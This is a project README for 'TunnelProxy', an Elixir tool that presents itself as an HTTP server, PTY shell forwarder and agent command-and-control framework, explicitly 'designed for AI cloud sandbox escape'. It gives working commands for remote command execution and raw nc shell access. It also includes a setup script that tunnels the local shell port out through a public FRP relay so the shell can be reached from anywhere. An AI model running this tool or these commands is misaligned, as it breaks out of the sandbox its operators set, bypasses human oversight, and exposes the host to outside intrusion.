TunnelProxy

HTTP Server + PTY Shell Forwarder + Agent C2 Framework

A lightweight all-in-one tool for file serving, remote shell, file upload, and persistent agent-controlled PTY sessions. Designed for AI cloud sandbox escape via FRP intranet penetration.

Features

Feature Description Static File Server Browse and download files with directory listing PTY Shell Forwarder Persistent shell per agent + one-time temporary shell sessions File Upload Upload via web page or curl command Agent Management Register, heartbeat, remote command execution with token auth One-Time PTY Session Dynamic random port, token-authenticated, 10s auto-destroy Registration Lock Prevent new agent registration in production Preset Agents Auto-register agents from environment variables on startup


Installation

Option 1: Install from Hex

def deps do
  [
    {:tunnel_proxy, "~> 0.3.3"}
  ]
end

Option 2: Build from Source

git clone https://github.com/TurinFohlen/tunnel_proxy.git
cd tunnel_proxy
mix deps.get
mix compile

Quick Start

Start the Server

export TUNNEL_DOC_ROOT="./www"
export TUNNEL_UPLOAD_DIR="./uploads"
export TUNNEL_PRESET_AGENT_1="agent1:myhost:root:linux"
mkdir -p "$TUNNEL_DOC_ROOT" "$TUNNEL_UPLOAD_DIR"
iex -S mix

Expected output:

[AgentManager] Preset agent registered: agent1
[AgentManager] Token: xxxxxxxxx
HTTP Server: 0.0.0.0:8080

Connect to Persistent Shell (nc)

# First request a one-time PTY session with your agent token
curl -X POST http://127.0.0.1:8080/api/session \
  -H "Content-Type: application/json" \
  -d '{"token":"你的token"}'
# Returns {"ok":true,"port":45231}

# Then connect within 10 seconds
nc 127.0.0.1 45231

Type commands and get output:

$ pwd
/path/to/current
$ ls -la
...file list...
$ exit

Execute Commands via HTTP API

# Execute a command
curl -X POST http://127.0.0.1:8080/api/exec \
  -H "Content-Type: application/json" \
  -d '{"agent_id":"agent1","token":"你的token","cmd":"whoami"}'
# Returns {"ok":true,"task_id":"agent1_1"}

# Get result
curl http://127.0.0.1:8080/api/result/agent1_1
# Returns {"output":"root","status":"complete"}

Access Files

curl http://127.0.0.1:8080/

Open in browser: http://127.0.0.1:8080/

Upload Files

Via curl:

curl -X POST http://127.0.0.1:8080/upload --data-binary @file.txt

Via browser: Visit http://127.0.0.1:8080/upload, select file, click upload.

Agent API Reference

Method Path Description POST /api/register Register a new agent POST /api/heartbeat Agent heartbeat keep-alive POST /api/exec Submit a command for execution GET /api/result/:task_id Poll command execution result GET /api/agents List all online agents POST /api/session Request a one-time PTY session port

Configuration

Create config/config.exs or set environment variables:

config :tunnel_proxy,
  http_port: 8080,
  doc_root: "./www",
  upload_dir: "./uploads"

Environment variables:

Variable Default Description TUNNEL_PRESET_AGENT_1 - Preset agent 1 (id:hostname:username:os) TUNNEL_PRESET_AGENT_2 - Preset agent 2 (optional) TUNNEL_LOCK_REGISTRATION - Set to 1 to prevent new agent registration SHELL /bin/sh Shell to use for PTY sessions UPLOAD_MAGIC MY_MAGIC_2025_FILE_HEAD Magic word for upload validation TUNNEL_DOC_ROOT ./www Static files directory TUNNEL_UPLOAD_DIR ./uploads Upload destination

Use Cases

Standalone

cd ~/tunnel_proxy
export TUNNEL_PRESET_AGENT_1="main:localhost:root:linux"
iex -S mix

With frp (Intranet Penetration)

Create a setup script that generates a secure, unique FRP configuration:

cat > setup-frp.sh << 'SETUP_EOF'
#!/bin/bash
FRPC_CONFIG="frpc.toml"
PROXY_NAME="tunnel-$(openssl rand -hex 32)"
HTTP_PORT=$((10001 + RANDOM % 40000))
SHELL_PORT=$((10001 + RANDOM % 40000))
while [ $SHELL_PORT -eq $HTTP_PORT ]; do
    SHELL_PORT=$((10001 + RANDOM % 40000))
done

cat > "$FRPC_CONFIG" << FRPC_EOF
serverAddr = "frp.freefrp.net"
serverPort = 7000
auth.token = "freefrp.net"

[[proxies]]
name = "$PROXY_NAME-http"
type = "tcp"
localIP = "127.0.0.1"
localPort = ${TUNNEL_HTTP_PORT:-8080}
remotePort = $HTTP_PORT

[[proxies]]
name = "$PROXY_NAME-shell"
type = "tcp"
localIP = "127.0.0.1"
localPort = ${TUNNEL_PTY_PORT:-27417}
remotePort = $SHELL_PORT
FRPC_EOF

echo "✅ Generated $FRPC_CONFIG"
echo "📋 Connection info:"
echo "   HTTP:  frp.freefrp.net:$HTTP_PORT"
echo "   Shell: frp.freefrp.net:$SHELL_PORT"
SETUP_EOF

chmod 755 setup-frp.sh
./setup-frp.sh

After running, connect using the ports shown in the output, then access from anywhere:

nc frp.freefrp.net <YOUR_SHELL_PORT>
curl http://frp.freefrp.net:<YOUR_HTTP_PORT>/

Requirements

· Elixir 1.12+ · Erlang/OTP 24+

License

MIT License - see LICENSE file for details.

Author

TurinFohlen - GitHub

Contributing

Issues and pull requests are welcome.